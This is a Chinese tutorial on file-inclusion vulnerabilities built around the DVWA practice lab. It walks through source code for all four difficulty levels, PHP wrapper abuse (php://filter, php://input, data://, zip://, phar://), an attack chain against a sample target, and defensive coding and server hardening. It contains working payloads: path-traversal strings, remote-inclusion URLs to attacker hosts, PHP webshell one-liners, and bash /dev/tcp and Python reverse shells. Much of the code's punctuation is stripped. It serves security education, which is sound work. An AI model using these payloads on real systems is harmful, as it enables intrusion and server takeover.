1. 项目概述从靶场到实战的文件包含漏洞攻防文件包含漏洞一个在Web安全领域经久不衰的经典议题。对于很多刚入门渗透测试和安全研究的朋友来说DVWADamn Vulnerable Web Application靶场是绕不开的“新手村”。而其中的“文件包含”模块更是理解服务器端动态包含机制及其潜在风险的绝佳实验场。我见过不少朋友在DVWA里对着Low、Medium、High、Impossible四个等级一通操作看似通关了但一到真实环境或者更复杂的CTF题目里还是无从下手。问题出在哪往往是只记住了“双写绕过”、“协议利用”这几个名词但对漏洞的底层逻辑、防御机制的演变以及在不同场景下的灵活运用缺乏深刻理解。这篇文章我就以“DVWA靶场实战文件包含漏洞攻防全解析”为核心带大家进行一次深度的、手把手的剖析。我们的目标不仅仅是“通关”DVWA的四个难度等级更要弄明白每一关的代码为什么这么写、漏洞为什么存在、防御为什么失败或成功。我会结合自己这些年踩过的坑和实战中的经验把文件包含漏洞从原理、利用到防御的完整链条拆解清楚。无论你是正在学习Web安全的学生还是希望巩固基础的从业者这篇文章都将为你提供一个清晰、可复现的攻防视角。我们将从最基础的PHP包含函数讲起一步步拆解DVWA的源码演示多种利用协议并最终探讨如何从根本上杜绝此类漏洞。准备好了吗让我们开始这次从靶场到实战思维的旅程。2. 文件包含漏洞的核心原理与DVWA环境搭建2.1 漏洞的根源PHP包含函数与动态包含机制要理解文件包含漏洞必须先搞清楚PHP或其他服务端语言中“包含”这个动作的本质。在PHP里include、require、include_once、require_once这些函数是为了实现代码复用和模块化开发而设计的。比如一个网站的头部导航栏header.php和底部版权信息footer.php在每个页面都相同我们就不需要在每个页面重复写这些代码只需在页面主体中用include(‘header.php’)和include(‘footer.php’)引入即可。关键点在于“动态”。开发者有时会偷懒或者为了灵活性将包含的文件名通过用户输入的参数来动态决定。DVWA Low级别的源码就是最典型的反面教材?php $file $_GET[ page ]; // 直接获取用户输入的page参数 ?这段代码的本意可能是通过?pagenews.php来显示新闻页面通过?pageabout.php来显示关于我们页面。但攻击者的思维是如果我能控制$file这个变量那我是不是可以把它指向服务器上的任意文件比如?page../../../../etc/passwd来读取系统敏感文件或者?pagehttp://evil.com/shell.txt来远程包含一个恶意脚本这里就引出了文件包含漏洞的两个核心危害本地文件包含LFI包含服务器本地的文件可能导致敏感信息泄露如配置文件、日志、源代码甚至在特定条件下结合文件上传等功能实现代码执行。远程文件包含RFI包含远程服务器上的文件。这需要PHP配置allow_url_include和allow_url_fopen为On默认通常是Off。一旦开启攻击者可以直接让目标服务器执行自己控制的远程恶意代码危害极大。include和require的主要区别在于错误处理include包含失败会产生警告但脚本继续执行require包含失败会产生致命错误并停止脚本。在漏洞利用上两者没有区别。实操心得在审计代码时看到任何将用户输入$_GET$_POST$_COOKIE未经严格过滤就直接传递给包含函数的地方就要立刻亮起红灯。这是文件包含漏洞最明显的特征。2.2 DVWA靶场搭建为实战做好准备工欲善其事必先利其器。一个稳定、隔离的测试环境是安全学习的基石。网上有很多一键安装包但我强烈建议初学者在虚拟机中手动搭建这个过程本身就能加深对Web运行环境PHP、Apache/Nginx、数据库的理解。我的常用环境方案系统Ubuntu 22.04 LTS 或 Windows 10/11。Linux环境更贴近生产服务器推荐使用。集成环境Windows使用XAMPP或PHPStudy。它们集成了Apache、PHP、MySQL解压即用非常方便。将DVWA源码放入其htdocs或WWW目录即可。Linux (Ubuntu)通过APT包管理器手动安装。sudo apt update sudo apt install apache2 php libapache2-mod-php mysql-server php-mysql然后将DVWA源码解压到/var/www/html/dvwa/目录下。DVWA源码从官方GitHub仓库github.com/digininja/DVWA下载最新版。旧版本可能存在兼容性问题。关键的配置步骤以PHPStudy为例放置源码将下载的DVWA文件夹重命名为dvwa放入PHPStudy安装目录\WWW\下。配置文件权限找到dvwa/config目录将config.inc.php.dist文件复制一份重命名为config.inc.php。这个文件是DVWA的配置文件。修改数据库配置用文本编辑器打开config.inc.php找到如下部分根据你的数据库情况修改PHPStudy的MySQL默认密码通常是root$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] root; // 修改为你的数据库密码允许URL包含用于RFI实验找到PHP的配置文件php.ini在PHPStudy中可以通过软件界面直接打开。搜索并修改以下两行allow_url_fopen On allow_url_include On注意这是为了在靶场中学习RFI而进行的危险设置在生产环境中必须保持为Off。修改后重启Apache服务。访问与初始化在浏览器访问http://127.0.0.1/dvwa/。首次访问会提示你点击链接创建数据库。按照提示操作完成后使用默认账号admin和密码password登录。设置安全等级登录后在左侧菜单进入DVWA Security将安全级别设置为Low这样我们才能进行所有漏洞的实验。踩坑记录最常见的问题是数据库连接失败。请确保MySQL服务已经启动在PHPStudy中点击“启动”。config.inc.php中的数据库密码正确。dvwa数据库已创建通过访问首页的初始化链接完成。 另一个常见问题是PHP版本过高导致DVWA部分功能报错。DVWA对PHP 7.4以下版本兼容性更好。如果使用PHP 8可能需要调整代码或寻找适配版本。环境准备好后我们就可以正式开始对文件包含漏洞的逐层攻防解析了。3. DVWA文件包含漏洞四重关卡深度拆解DVWA将文件包含漏洞分成了四个难度等级Low, Medium, High, Impossible。这不仅仅是一个游戏关卡设计它完美模拟了从毫无防护到最佳安全实践的演进过程。我们逐一拆解。3.1 Low级别毫无防护的“裸奔”状态源码审计?php $file $_GET[ page ]; // 直接接收用户输入无任何过滤 ?这是最原始、最危险的状态。攻击者拥有对$file变量的完全控制权。攻击利用演示本地文件包含LFI读取系统文件http://靶场地址/vulnerabilities/fi/?page../../../../etc/passwd(Linux) 或?page../../../../Windows/System32/drivers/etc/hosts(Windows)。通过../进行目录遍历尝试读取敏感文件。读取Web应用源码?page../../../config/config.inc.php。尝试读取数据库配置文件获取数据库密码。结合日志文件执行代码这是一个经典技巧。如果我们可以向服务器日志如Apache的access.log中写入PHP代码例如在User-Agent中携带?php phpinfo();?再通过LFI包含这个日志文件代码就会被执行。Payload示例?page../../../var/log/apache2/access.log。远程文件包含RFI前提是allow_url_includeOn。在攻击者控制的服务器如另一台虚拟机192.168.1.100上放置一个内容为?php phpinfo();?的文本文件shell.txt并启动Web服务。攻击Payloadhttp://靶场地址/vulnerabilities/fi/?pagehttp://192.168.1.100/shell.txt。目标服务器会去请求这个远程文件并将其内容作为PHP代码执行从而在目标服务器上弹出phpinfo页面。核心原理在Low级别下攻击的本质就是路径控制。攻击者通过输入../来“回溯”目录或者输入一个URL来“引入”远程资源。服务器完全信任了用户的输入将其直接拼接到了文件包含的路径中。3.2 Medium级别初级的、可被绕过的过滤源码审计?php $file $_GET[ page ]; $file str_replace( array( http://, https:// ), , $file ); // 过滤http/https $file str_replace( array( ../, ..\\ ), , $file ); // 过滤目录遍历 ?开发者意识到了风险尝试通过str_replace函数将危险的字符串替换为空。这是一个进步但防御非常脆弱。漏洞成因与双写绕过str_replace函数有一个特点它只进行一次替换。例如字符串htthttp://p://经过第一次替换http://-后变成了http://而新生成的http://不会再被处理。 因此经典的双写绕过技术应运而生。攻击利用演示绕过../过滤想要包含../../../etc/passwd可以构造Payload为..././..././..././etc/passwd。经过str_replace将../替换为空后就变成了../../../etc/passwd。Payload:?page..././..././..././etc/passwd绕过http://过滤实现RFI想要包含http://evil.com/shell.txt可以构造Payload为htthttp://p://evil.com/shell.txt。过滤后中间的http://被移除两边的字符拼接起来正好是http://evil.com/shell.txt。Payload:?pagehtthttp://p://192.168.1.100/shell.txt实操心得Medium级别的防御是典型的“黑名单”思维即试图列出所有已知的危险字符。这种方式的弊端在于第一名单可能不全比如它没过滤ftp://第二容易被双写、大小写混淆HtTp://、超长字符串截断等技巧绕过。在实战中遇到简单的字符串替换过滤双写绕过永远是首要尝试的思路。3.3 High级别白名单限制与协议利用的博弈源码审计?php $file $_GET[ page ]; if( !fnmatch( file*, $file ) $file ! include.php ) { echo ERROR: File not found!; exit; } ?防御思路发生了质变从“黑名单”转向了“白名单”。代码使用fnmatch函数进行模式匹配要求$file变量必须以字符串file开头或者等于include.php。这看起来非常严格似乎只能包含像file1.php、file2.php这样的安全文件。漏洞的突破口PHP伪协议白名单限制了我们传入的“路径字符串”必须以file开头。但PHP的包含函数不仅支持文件路径还支持一系列伪协议Wrapper。这些协议可以让我们以不同的方式访问数据流。关键在于伪协议的使用格式是协议名://路径而协议名本身是可以满足file*这个条件的攻击利用演示利用file://协议进行LFIfile://协议用于访问本地文件系统。由于它以file开头完美通过了白名单检查。Payload:?pagefile:///etc/passwd(Linux) 或?pagefile:///C:/Windows/System32/drivers/etc/hosts(Windows)。注意file://协议后面跟的是文件的绝对路径Windows下是file:///C:/路径Linux下是file:///etc/passwd。结合文件上传漏洞 High级别本身很难直接执行任意代码但Web应用往往不止一个漏洞。一个常见的攻击链是利用同一DVWA的文件上传漏洞File Upload上传一个图片马将PHP代码嵌入图片的EXIF信息中或直接上传一个.php后缀的文件如果过滤不严。上传成功后服务器会返回文件的访问路径例如http://靶场地址/hackable/uploads/shell.php。此时再回到文件包含漏洞使用file://协议去包含这个上传的恶意文件?pagefile:///var/www/html/dvwa/hackable/uploads/shell.php从而触发代码执行获取WebShell。深度解析High级别的设计非常巧妙它展示了“白名单优于黑名单”的安全原则。单纯的路径输入已被严格限制。然而它忽略了PHP语言特性的丰富性即伪协议。这告诉我们安全防御需要多维度、深层次。不仅要过滤输入还要考虑服务器环境的配置如是否允许某些危险协议、以及应用其他模块的安全性如上传功能。攻击者总是在寻找整个防御体系中最薄弱的一环。3.4 Impossible级别终极防御——硬编码白名单源码审计?php $file $_GET[ page ]; if( $file ! include.php $file ! file1.php $file ! file2.php $file ! file3.php ) { echo ERROR: File not found!; exit; } ?这是最彻底的防御方式硬编码白名单。$file变量只能是指定的四个字符串之一include.php,file1.php,file2.php,file3.php。用户输入不再影响文件路径的选择它仅仅是一个“选项键”。开发者完全放弃了动态包含用户可控文件名的功能转而使用静态映射或路由。为什么它是“Impossible”的从这个漏洞模块本身来看它确实无法被利用。因为攻击者无法注入任何超出预定范围的路径或协议。这是消除漏洞最根本的方法彻底移除有问题的功能动态包含用户输入。对开发的启示 在实际开发中如果非要用到动态包含应该如何做使用Switch-Case或数组映射将用户输入映射到预定义的安全文件。$allowed_pages [news news.php, about about.php, contact contact.php]; $page $_GET[page]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(default.php); }严格校验文件路径如果必须允许一定程度的动态性应使用basename()函数获取文件名并拼接固定的安全目录前缀同时检查文件后缀是否为.php。$page basename($_GET[page]); // 防止目录遍历 $file /safe_directory/ . $page; if (file_exists($file) is_file($file) substr($file, -4) .php) { include($file); }注意即使这样也要确保safe_directory目录下没有用户可上传的文件否则可能被结合利用。通过这四关的演进我们清晰地看到了一条安全防护的升级路径从毫无防护到简单的黑名单过滤可绕过到白名单限制被协议特性绕过最终到最安全的硬编码白名单或功能重构。这不仅是DVWA的设计也是我们在编写安全代码时应遵循的思维模式。4. 高级利用PHP伪协议详解与实战技巧在High级别中我们初步接触了file://协议。PHP内置的伪协议是文件包含漏洞利用的“瑞士军刀”它们功能强大能实现读取、编码、执行等多种操作。理解并熟练运用这些协议是安全研究人员必备的技能。4.1 php://filter —— 文件内容读取与编码的利器php://filter是一种元封装器设计用于在数据流打开时应用过滤器。在文件包含中它最大的用途是读取文件源码尤其是在无法直接输出源码比如包含的是图片、日志等非PHP文件或者包含后代码被执行了的情况下。基本语法php://filter/read过滤器/resource目标文件常用过滤器convert.base64-encode将文件内容进行Base64编码后输出。这是最常用的方式可以避免包含非PHP文件时其中的内容被直接当做HTML或文本显示到页面中或被特殊字符干扰。string.rot13对内容进行ROT13编码。string.toupper/string.tolower转换大小写。zlib.deflate/zlib.inflate进行压缩/解压。实战利用读取PHP文件源码 假设我们想读取index.php的源码但直接包含?pageindex.php会导致其中的PHP代码被执行我们看不到源代码。这时可以使用?pagephp://filter/readconvert.base64-encode/resourceindex.php服务器会返回Base64编码后的字符串我们将其解码即可得到纯净的源代码。# 在Kali Linux中解码 echo PD9waHAgZWNobyAiSGVsbG8gV29ybGQiOz8 | base64 -d # 输出?php echo Hello World;?读取系统配置文件?pagephp://filter/readconvert.base64-encode/resource../../../../etc/passwd组合利用有时为了绕过一些简单的过滤可以将协议进行嵌套或组合但这取决于PHP版本和配置。注意事项php://filter协议在allow_url_include设置为Off时通常仍然可用因为它被视为一个本地I/O流封装器而非远程URL包含。这使得它在实际渗透测试中非常有用。4.2 php://input —— 直接执行POST代码php://input是个更强大的协议它可以访问请求的原始数据即HTTP POST请求的Body部分。如果allow_url_include开启并且包含php://input那么POST过去的数据会被当做PHP代码执行。利用条件allow_url_include On。目标PHP环境支持该协议默认支持。实战利用 我们无法直接在浏览器地址栏利用它需要借助代理工具如Burp Suite或Curl。将DVWA设置为Low级别允许RFI。使用Burp Suite拦截一个包含?pagephp://input的请求。在HTTP请求的Body部分直接写入要执行的PHP代码例如?php system(whoami); ?。发送请求响应中就会返回命令执行的结果当前Web服务的运行用户如www-data。Burp Suite请求示例POST /dvwa/vulnerabilities/fi/?pagephp://input HTTP/1.1 Host: 127.0.0.1 ... Content-Type: application/x-www-form-urlencoded Content-Length: 30 ?php system(whoami); ?重要提醒php://input在读取POST数据时受php.ini中的enable_post_data_reading设置影响。如果它为Off则此协议无效。但在默认配置下它通常是开启的。4.3 data:// —— 内联数据流执行代码data://协议同样可以用于执行代码它允许在URI中直接嵌入数据。它像是php://input的一个“快捷方式”可以直接在GET请求中完成利用。基本语法data://text/plain,你的代码data://text/plain;base64,Base64编码后的你的代码实战利用明文方式?pagedata://text/plain,?php phpinfo();?注意代码中的特殊字符需要URL编码。?php phpinfo();?编码后为%3C%3Fphp%20phpinfo%28%29%3B%3F%3E。 所以完整Payload为?pagedata://text/plain,%3C%3Fphp%20phpinfo%28%29%3B%3F%3EBase64编码方式更常用可避免特殊字符问题 先将?php phpinfo();?进行Base64编码得到PD9waHAgcGhwaW5mbygpOz8。 Payload为?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8特别注意Base64字符串末尾的号在URL中会被解释为空格需要再次进行URL编码为%2B。 因此最终安全的Payload是?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B4.4 zip:// 与 phar:// —— 压缩包内的攻击这两个协议允许我们包含压缩包ZIP或PHAR内的特定文件。如果应用有文件上传功能且对上传文件的后缀做了检查如只允许.jpg,.zip但未检查文件内容我们就可以上传一个包含恶意PHP代码的压缩包然后利用文件包含漏洞执行其中的代码。利用步骤创建恶意文件创建一个shell.php内容为?php system($_GET[‘cmd’]); ?。制作压缩包对于zip://将shell.php压缩成shell.zip。关键点压缩时shell.php必须在压缩包的根目录不要带上级目录。对于phar://PHAR是PHP的归档文件类似JAR。可以用PHP代码生成也可以简单地将.zip文件重命名为.phar在某些PHP版本和配置下可行但并非总是。更可靠的方法是使用PHP的Phar类来创建。上传压缩包通过文件上传功能将shell.zip或shell.phar上传到服务器记下存储路径例如/uploads/shell.zip。利用文件包含执行zip://协议?pagezip:///var/www/html/uploads/shell.zip%23shell.php注意#号在URL中表示锚点需要编码为%23。格式zip://[压缩包绝对路径]#[压缩包内文件名]phar://协议?pagephar:///var/www/html/uploads/shell.phar/shell.php格式phar://[压缩包绝对路径]/[压缩包内文件名]踩坑记录使用zip://协议时最常见的错误是“No such file”或无法执行。请检查压缩包的绝对路径是否正确。#号是否已编码为%23。压缩包内的文件是否在根目录。如果压缩时包含了目录结构如test/shell.php则Payload应为zip://xxx.zip%23test/shell.php。PHP环境是否支持zip扩展通常默认支持。4.5 其他协议与利用限制expect://这是一个非常危险的协议允许通过expect()函数执行系统命令。但默认情况下PHP不安装expect扩展且由于极度危险生产环境绝不应启用。compress.zlib://和compress.bzip2://用于处理.gz和.bz2压缩文件利用方式与zip://类似但相对少见。协议利用的总结与选择读取源码首选php://filter。直接代码执行POST用php://input。直接代码执行GET用data://。绕过上传限制用zip://或phar://。读取本地文件用file://或php://filter。理解这些协议的工作原理和适用场景能让你在遇到文件包含漏洞时根据目标环境的具体配置如allow_url_include、已安装扩展灵活选择最有效的利用方式。5. 实战攻防演练从漏洞发现到权限获取理论讲得再多不如亲手实践一遍。下面我将模拟一个相对完整的攻击场景展示如何将文件包含漏洞与其他漏洞结合最终达到获取服务器权限的目的。我们假设目标是一个存在文件包含LFI和文件上传漏洞的Web应用就像DVWA中High级别的组合。攻击环境目标URLhttp://target.com/已知存在文件包含参数?file已知存在一个文件上传点但仅检查文件后缀.jpg,.png。5.1 第一步信息收集与漏洞确认确认LFI漏洞尝试读取Web目录下的已知文件http://target.com/?file../../../../etc/passwd。如果返回了用户列表说明存在目录遍历。尝试使用php://filter读取Web应用自身的配置文件http://target.com/?filephp://filter/readconvert.base64-encode/resourceindex.php。解码后查看源码寻找数据库连接信息、其他敏感路径或包含点。探索上传点访问上传功能尝试上传一个普通的图片文件确认上传成功并返回文件路径例如/uploads/20231012_123456.jpg。尝试上传一个.php文件通常会被拦截。确认其过滤机制是前端JS验证还是后端检查Content-Type或文件头。5.2 第二步制作与上传“图片木马”由于上传点检查后缀我们需要制作一个“图片马”。方法一追加代码。在Linux下可以使用命令# 准备一个正常的图片和一个PHP一句话木马 cp normal.jpg shell.jpg echo ?php eval($_POST[cmd]);? shell.jpg这样图片的末尾就追加了PHP代码。但这种方法可能被检查文件头的防御方式阻断。方法二利用图片EXIF信息。有些图片处理库在读取图片时可能会执行EXIF信息中的代码但这种方式不通用。方法三推荐制作包含PHP代码的压缩包。既然目标有文件包含漏洞我们可以利用zip://或phar://协议。创建一个shell.php内容为?php system($_GET[‘c’]); ?。将其压缩为shell.zip。确保压缩时shell.php在压缩包根目录。将shell.zip的后缀改为shell.jpg尝试上传。很多系统只检查后缀名不检查文件内容因此能上传成功。上传后记录文件路径假设为/uploads/shell.jpg。5.3 第三步利用文件包含执行代码现在我们有了一个服务器上的压缩包伪装成图片以及一个文件包含漏洞。构造包含Payload我们需要使用zip://协议来包含这个压缩包内的PHP文件。目标的绝对路径我们需要猜测。常见的Web根目录有/var/www/html//home/www/C:\inetpub\wwwroot\等。我们可以通过LFI读取一些配置文件如/etc/apache2/sites-available/000-default.conf或错误信息来推断。假设我们推断出绝对路径为/var/www/html/uploads/shell.jpg。发起攻击发送请求http://target.com/?filezip:///var/www/html/uploads/shell.jpg%23shell.php如果成功服务器会解压实际上是zip://流包装器读取shell.jpg即shell.zip中的shell.php文件并执行其中的PHP代码。验证与执行命令在上面的请求后加上参数cwhoami。完整URLhttp://target.com/?filezip:///var/www/html/uploads/shell.jpg%23shell.phpcwhoami如果页面返回了Web服务运行的用户名如www-data则说明攻击成功我们拥有了远程命令执行的能力。5.4 第四步权限维持与横向移动获取命令执行能力WebShell只是开始。反弹Shell为了获得一个交互性更好的终端我们通常需要反弹一个Shell到我们的攻击机。在攻击机Kali上监听一个端口nc -lvnp 4444在目标WebShell上执行命令需要目标服务器有nc、bash、python等bash -c ‘bash -i /dev/tcp/攻击机IP/4444 01’或python -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机IP”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/bash”,”-i”]);’信息收集在获得的Shell中收集系统信息、用户信息、网络信息、其他服务信息等寻找横向移动的可能。权限提升尝试利用系统内核漏洞、错误配置的SUID文件、错误的sudo权限等进行提权从www-data用户提升到root。核心攻防思维这个实战链条清晰地展示了“漏洞组合”的威力。单独的文件上传只检查后缀或单独的文件包含白名单限制可能都无法直接getshell。但将它们组合起来就形成了一条完整的攻击路径。这提醒防御者安全是一个整体任何一个环节的短板都可能导致全盘皆输。同时也提醒攻击者在发现一个漏洞时要善于联想寻找与之可能产生“化学反应”的其他脆弱点。6. 防御策略与安全开发实践攻击是为了更好的防御。通过前面的剖析我们已经深刻理解了文件包含漏洞的成因和利用手法。现在我们从开发者和运维者的角度系统地探讨如何防御此类漏洞。6.1 安全编码原则避免动态包含用户输入根本解决 这是最有效的方法。像DVWA的Impossible级别一样使用硬编码的白名单或路由映射。// 最佳实践白名单映射 $pageMap [ home templates/home.php, news templates/news.php, about templates/about.php, ]; $key $_GET[page] ?? home; if (array_key_exists($key, $pageMap)) { include __DIR__ . / . $pageMap[$key]; } else { include __DIR__ . /templates/404.php; }如果必须动态包含则严格过滤和校验固定目录前缀禁止目录回溯使用realpath()和basename()组合。$baseDir /var/www/html/includes/; $userFile basename($_GET[file]); // 去除路径只留文件名 $fullPath realpath($baseDir . $userFile); // 检查最终路径是否仍在安全目录内 if ($fullPath strpos($fullPath, $baseDir) 0 is_file($fullPath)) { include $fullPath; } else { die(Invalid file.); }校验文件后缀确保包含的文件是预期的类型如.php,.inc.php。$allowedExt [.php, .html]; $ext strtolower(substr($fullPath, -4)); if (!in_array($ext, $allowedExt)) { die(Invalid file type.); }关闭危险特性在php.ini中务必设置allow_url_fopen Off allow_url_include Off这将彻底关闭远程文件包含的可能性。这是生产环境的强制要求。6.2 服务器与环境加固PHP配置除了关闭allow_url_include还应考虑在php.ini中禁用危险的协议包装器。; 在 [PHP] 部分或特定扩展部分 disable_functions exec,system,passthru,shell_exec,proc_open,popen,... ; 注意禁用函数可能影响正常功能需评估将open_basedir设置为Web根目录限制PHP可以访问的文件系统范围。open_basedir /var/www/html/Web服务器配置运行在最小权限下Web服务进程如www-data, apache用户不应具有高权限。确保其无法写入关键系统目录只能写入必要的上传目录。隔离上传目录将用户上传的文件存放在Web根目录之外或者至少确保该目录下的文件不可执行。可以通过配置Nginx/Apache禁止直接访问上传目录下的.php、.phtml等可执行文件。Nginx示例location ^~ /uploads/ { location ~* \.(php|php5|phtml)$ { deny all; } }Apache示例在.htaccess中FilesMatch \.(php|php5|phtml)$ Order Deny,Allow Deny from all /FilesMatch文件上传安全使用随机文件名上传后重命名文件避免用户通过猜测文件名进行访问。检查文件内容使用getimagesize()、exif_imagetype()等函数验证上传的确实是图片而不仅仅是检查后缀名或MIME类型这些都可以伪造。存储文件信息在数据库不直接使用用户上传的文件名作为访问路径而是将文件存储在服务器上的随机名称将原始文件名和存储路径的映射关系存入数据库。6.3 安全测试与监控代码审计在开发过程中和上线前进行人工或自动化的代码审计重点检查所有包含用户输入的include、require、file_get_contents等函数。渗透测试定期对系统进行黑盒/白盒渗透测试尝试使用../、php://filter、zip://等Payload进行测试。日志监控在Web服务器日志和PHP错误日志中监控异常的路径访问请求包含大量../、..\、php://、data://等字符串的请求这往往是攻击尝试的迹象。文件包含漏洞的防御是一个系统工程需要从代码编写、服务器配置、运维监控多个层面共同构建纵深防御体系。核心思想就是永远不要信任用户输入对输入进行严格的校验和限制并在环境层面关闭不必要的危险功能。通过DVWA这个靶场的层层演练我们希望你能将这种安全思维内化在未来的开发和运维工作中写出更健壮、更安全的代码。